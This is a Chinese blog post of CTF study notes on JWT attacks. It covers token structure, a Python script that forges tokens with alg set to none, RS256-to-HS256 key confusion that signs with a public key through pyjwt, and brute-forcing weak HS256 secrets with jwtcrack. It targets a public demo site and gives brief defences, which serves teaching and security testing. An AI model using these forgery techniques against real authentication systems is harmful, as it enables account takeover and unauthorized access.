JWT(JSON Web Token) 攻击

最近这次国赛遇到了json web token的题目,发现并不能很顺利的做出来,于是写下这篇学习笔记

什么是JWT

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在两个组织之间传递安全可靠的信息。

现在网上大多数介绍JWT的文章实际介绍的都是JWS(JSON Web Signature),也往往导致了人们对于JWT的误解,但是JWT并不等于JWS,JWS只是JWT的一种实现,除了JWS外,JWE(JSON Web Encryption)也是JWT的一种实现。

JWT的组成

我们随便来看一个:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJoZWxsbyIsImlhdCI6MTU2MjUwNDkxOCwiZXhwIjoxNTYyNTA0OTIzLCJhY2NvdW50Ijoia2sifQ.GqWnsUjzpqtE4GJrZ5Zim_nrwnQTGAlidoGqe3354yM

JWT的格式非常简单

JWT的数据分为三个部分: headers , payloadssignature(签名)

三者通过.分割,均采用base64编码

Headers

1
2
3
4
5
6
7
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

解码后为:
{
"typ": "JWT",
"alg": "HS256"
}

alg为算法的缩写,typ为类型的缩写,有时候还会有kid,kid表示算法所使用的密钥文件(当服务端需要多个密钥文件时使用)

Payloads

1
2
3
4
5
6
7
8
9
eyJpc3MiOiJoZWxsbyIsImlhdCI6MTU2MjUwNDkxOCwiZXhwIjoxNTYyNTA0OTIzLCJhY2NvdW50Ijoia2sifQ

解码后为:
{
"iss": "hello",
"iat": 1562504918,
"exp": 1562504923,
"account": "kk"
}

这几个字段的含义如下,其中需要注意的字段是exp,这字段可在一定程度上被用来防止重放攻击

iss(issuer):发布者的url地址

sub(subject):该JWT所面向的用户,用于处理特定应用,不是常用的字段

aud(audience):接受者的url地址

exp(expiration):该jwt销毁的时间;unix时间戳

nbf(not before):该jwt的使用时间不能早于该时间;unix时间戳

iat(issued at):该jwt的发布时间;unix 时间戳

jti(JWT ID):该jwt的唯一ID编号

Signature

1
GqWnsUjzpqtE4GJrZ5Zim_nrwnQTGAlidoGqe3354yM

因为header和payload是明文存储的,所以签名是为了防止数据被修改的,提供了对数据的交易功能
签名常使用RS256(RSA 非对称加密,使用私钥签名)、HS256(HMAC SHA256 对称加密)算法,签名对象为base64encode(headers) + ‘.’ + base64encode(payloads)

攻击JWT

1. 敏感信息泄露

很明显的一点,因为payload是明文传输的,所以如果payload中存在敏感信息就会出现信息泄露。当服务端的秘钥泄密的时候,JWT的伪造就变得非常简单容易。对此,服务端应该妥善保管好私钥,以免被他人窃取。

2. 修改算法为none

签名算法保证了JWT在传输的过程中不被恶意用户修改

但是header中的alg字段可被修改为none

一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验

将alg修改为none后,去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’)然后提交到服务端即可

这种攻击的例子可以参考:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

代码可以在Github上找到 https://github.com/Sjord/jwtdemo/

这个例子的解法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 原headers:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# 解码后:{"typ": "JWT","alg": "HS256"}

# 原payloads:eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU2MjY2MjkyNSwiZXhwIjoxNTYyNjYzMDQ1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# 解码后:{ "iss": "http://demo.sjoerdlangkemper.nl/", "iat": 1562662925,"exp": 1562663045,"data": {"hello": "world"}}

# 重新构造新的
import base64
headers = "{\"typ\":\"JWT\",\"alg\":\"none\"}"
payloads = "{\"data\":\"test\"}"
bytesHeaders = headers.encode(encoding="utf-8")
encodeHead = base64.b64encode(bytesHeaders)
bytesPay = payloads.encode(encoding="utf-8")
encodePay = base64.b64encode(bytesPay)
print( encodeHead.decode()+ '.' +encodePay.decode() + '.')

如何把得出的值传入到可控的参数中,可以看到alg已经被我们修改成了none

防御

  1. 不允许出现 none 的方法;

  2. 将开启 alg : none 作为一种额外的配置选项。

3. 将算法RS256修改为HS256(非对称密码算法=>对称密码算法)

算法HS256使用秘密密钥对每条消息进行签名和验证。

算法RS256使用私钥对消息进行签名,并使用公钥进行验证。

如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。

由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

后端代码会使用RSA公钥+HS256算法进行签名验证。

同样的,可以通过一个例子来理解这种攻击方式 http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php

RSA公钥:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

这个例子的解法如下:

1
2
3
4
5
6
7
8
9
10
11
# 原headers:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# 解码后:{"typ": "JWT", "alg": "RS256"}

# 原payloads:eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU2MjY2NzkwMSwiZXhwIjoxNTYyNjY4MDIxLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# 解码后:{"iss": "http://demo.sjoerdlangkemper.nl/","iat": 1562667901,"exp": 1562668021,"data": {"hello": "world"}}

# 重新构造:
import jwt
# public.pem从上面的公钥地址下载,一般ctf比赛中都会有公钥泄漏可以下载的
public = open('public.pem', 'r').read()
print(jwt.encode({"data":"test"}, key=public, algorithm='HS256'))

如果遇到报错

1
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

解决如下:

pip3 install pyjwt==0.4.3

如何把得出的值传入到可控的参数中,可以看到我们绕过了RS256算法,把它变成了HS256算法,且数据可控

4. HS256(对称加密)密钥破解

如果HS256密钥强度较弱,则可以直接强制使用,通过爆破 HS256的秘钥可以完成该操作。难度比较低。

破解工具c-jwt-cracker

使用方法:

1
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJMM3l4IiwiaWF0IjoxNTYyNTA0OTE4LCJleHAiOjE1NjI1MDQ5MjMsImFjY291bnQiOiJrayJ9.CJcfvv6JbajrhNriA2-Hb_2yYCUy5aeAvUjVzdgBytw

防御

使用复杂的秘钥即可

Reference

  1. 一篇文章带你分清楚JWT,JWS与JWE
  2. Json Web Token历险记

  3. Hacking JWT(JSON Web Token)

  4. JSON Web Token (JWT) 攻击技巧

  5. 深入了解Json Web Token之概念篇
  6. 深入了解Json Web Token之实战篇

本文标题:JWT(JSON Web Token) 攻击

文章作者:xianyu123

发布时间:2019年07月09日 - 12:26

最后更新:2021年03月12日 - 19:58

原始链接:http://0clickjacking0.github.io/2019/07/09/JWT-JSON-Web-Token-攻击/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------